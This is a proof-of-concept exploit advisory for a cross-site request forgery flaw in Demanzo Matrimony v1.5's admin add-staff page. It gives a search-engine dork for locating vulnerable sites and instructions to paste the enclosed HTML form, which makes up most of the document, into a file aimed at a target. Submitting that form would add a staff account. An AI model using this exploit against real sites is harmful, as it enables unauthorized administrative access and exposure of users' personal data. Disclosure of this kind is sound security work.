| # Title : Demanzo Matrimony v.1.5 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 109.0.1(32-bit) |
| # Vendor : https://demanzo.com/matrimony-site-development/ |
| # Dork : Powered by ITAcumens or “Powered by Demanzo” |
====================================================================================================================================
poc :
[+] infected file: add-staff.php
[+] Inside folder /admin/add-staff.php
[+] Dorking İn Google Or Other Search Enggine.
[+] Copy the code below and paste it into an HTML file.
[+] Go to the line 2.
[+] Set the target site link Save changes and apply .
</div>
<form action=”https://www.example/web/html/admin/add-staff.php” method=”POST”>
<div id=”msg”>
<div class=”form-group ban_btm1 col-md-6 no_pad”>
<label class=”control-label col-md-4 frm_pd”>Name <span class=”red”>*</span> : </label>
<div class=”col-md-8 frm_pd”>
<input required=”” name=”name” id=”name” value=”” type=”text” class=”form-control” placeholder=”Enter Name”>
</div>
</div>
<div class=”form-group ban_btm1 col-md-6 no_pad”>
<label class=”control-label col-md-4 frm_pd”>Password <span class=”red”>*</span> : </label>
<div class=”col-md-8 frm_pd”>
<input required=”” name=”pass” id=”pass” value=”” type=”password” class=”form-control” placeholder=”Enter Password”>
</div>
</div>
<div class=”form-group ban_btm1 col-md-6 no_pad”>
<label class=”control-label col-md-4 frm_pd”>Email ID <span class=”red”>*</span> : </label>
<div class=”col-md-8 frm_pd”>
<input required=”” name=”email” id=”email” value=”” type=”email” class=”form-control” placeholder=”Enter Email ID”>
</div>
</div>
<div class=”form-group ban_btm1 col-md-6 no_pad”>
<label class=”control-label col-md-4 frm_pd”>Gender <span class=”red”>*</span> : </label>
<div class=”col-md-8 frm_pd”>
<input type=”radio” name=”gender” value=”Male” checked=””><label class=”rd_btn”>Male</label>
<input type=”radio” name=”gender” value=”Female”><label class=”rd_btn”>Female</label>
</div>
</div>
<div class=”form-group ban_btm1 col-md-12 no_pad”>
<label class=”control-label frm_pd col-md-2″>Designation <span class=”red”>*</span> : </label>
<div class=”col-md-10 frm_pd”>
<input required=”” name=”designation” value=”” id=”designation” type=”text” class=”form-control” placeholder=”Enter Designation”>
</div>
</div>
<div class=”form-group ban_btm1 col-md-12 no_pad”>
<label class=”control-label col-md-2 frm_pd”>Address <span class=”red”>*</span> : </label>
<div class=”col-md-10 frm_pd”>
<textarea required=”” name=”address” id=”address” rows=”7″ class=”form-control” placeholder=”Enter Address”></textarea>
</div>
</div>
<!– <div class=”form-group ban_btm1 col-md-12 no_pad”> –>
<!– <label class=”control-label col-md-2 frm_pd”>Access Level <span class=”red”>*</span> : </label> –>
<!– <div class=”col-md-10 frm_pd chk_box”> –>
<!– <input id=”access1″ type=”checkbox” checked /> <label for=”access1″ class=”col-lg-3 col-md-5 col-sm-6″>All</label> –>
<!– <input id=”access2″ type=”checkbox” /> <label for=”access2″ class=”col-lg-4 col-md-7 col-sm-6″>Manage Plan</label> –>
<!– <input id=”access3″ type=”checkbox” /> <label for=”access3″ class=”col-lg-5 col-md-5 col-sm-6″>Manage Kootam / Kulam</label> –>
<!– <input id=”access4″ type=”checkbox” /> <label for=”access4″ class=”col-lg-3 col-md-7 col-sm-6″>To Approve</label> –>
<!– <input id=”access5″ type=”checkbox” /> <label for=”access5″ class=”col-lg-4 col-md-5 col-sm-6″>Manage Success Stories</label> –>
<!– <input id=”access6″ type=”checkbox” /> <label for=”access6″ class=”col-lg-5 col-md-7 col-sm-6″>Manage Advertisement</label> –>
<!– <input id=”access7″ type=”checkbox” /> <label for=”access7″ class=”col-lg-3 col-md-5 col-sm-6″>Manage Staff</label> –>
<!– <input id=”access8″ type=”checkbox” /> <label for=”access8″ class=”col-lg-4 col-md-7 col-sm-6″>Manage Member</label> –>
<!– <input id=”access9″ type=”checkbox” /> <label for=”access9″ class=”col-lg-5 col-md-5 col-sm-6″>Manage City</label> –>
<!– <input id=”access10″ type=”checkbox” /> <label for=”access10″ class=”col-lg-3 col-md-7 col-sm-6″>Manage State</label> –>
<!– <input id=”access11″ type=”checkbox” /> <label for=”access11″ class=”col-lg-4 col-md-5 col-sm-6″>Manage Country</label> –>
<!– <input id=”access12″ type=”checkbox” /> <label for=”access12″ class=”col-lg-5 col-md-7 col-sm-6″>Manage Education</label> –>
<!– <input id=”access13″ type=”checkbox” /> <label for=”access13″ class=”col-lg-3 col-md-5 col-sm-6″>Reports</label> –>
<!– <input id=”access14″ type=”checkbox” /> <label for=”access14″ class=”col-lg-4 col-md-7 col-sm-6″>Ematch</label> –>
<!– <input id=”access15″ type=”checkbox” /> <label for=”access15″ class=”col-lg-5 col-md-5 col-sm-6″>Advanced Search</label> –>
<!– <input id=”access16″ type=”checkbox” /> <label for=”access16″ class=”col-lg-3 col-md-7 col-sm-6″>Group Mail</label> –>
<!– <input id=”access17″ type=”checkbox” /> <label for=”access17″ class=”col-lg-4 col-md-5 col-sm-6″>Featured Profiles</label> –>
<!– <input id=”access18″ type=”checkbox” /> <label for=”access18″ class=”col-lg-5 col-md-7 col-sm-6″>Upgrade / Renewal Membership</label> –>
<!– <input id=”access19″ type=”checkbox” /> <label for=”access19″ class=”col-lg-3 col-md-5 col-sm-6″>Accounts </label> –>
<!– <input id=”access20″ type=”checkbox” /> <label for=”access20″ class=”col-lg-4 col-md-7 col-sm-6″>Logo</label> –>
<!– <input id=”access21″ type=”checkbox” /> <label for=”access21″ class=”col-lg-5 col-md-5 col-sm-6″>Religion</label> –>
<!– </div> –>
<!– </div> –>
<!– <div class=”form-group ban_btm1 col-lg-7 col-md-12 no_pad”> –>
<!– <label class=”control-label col-lg-4 col-md-2 frm_pd no_pad”>IP Address Controls <span class=”red”>*</span> : </label> –>
<!– <div class=”col-lg-8 col-md-10 frm_pd chk_box”> –>
<!– <input id=”status1″ type=”checkbox” checked /> <label for=”status1″ class=”col-md-4″>All</label> –>
<!– <input id=”status2″ type=”checkbox” /> <label for=”status2″ class=”col-md-8″>192.168.10.156</label> –>
<!– </div> –>
<!– </div> –>
<div class=”form-group ban_btm1 col-lg-5 col-md-12 no_pad”>
<label class=”control-label col-lg-4 col-md-2 frm_pd no_pad”>Staff Status <span class=”red”>*</span> : </label>
<div class=”col-lg-8 col-md-10 frm_pd”>
<input type=”radio” name=”status” value=”0″ checked=””><label class=”rd_btn”>Active</label>
<input type=”radio” name=”status” value=”1″><label class=”rd_btn”>Inactive</label>
</div>
</div>
<div class=”col-md-2 col-md-offset-5 col-sm-12″>
<input type=”submit” class=”ctn_btn no_mt1″ value=”Add” name=”add”>
</div>
Greetings to :===================================================================================
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet|
==================================================================================================
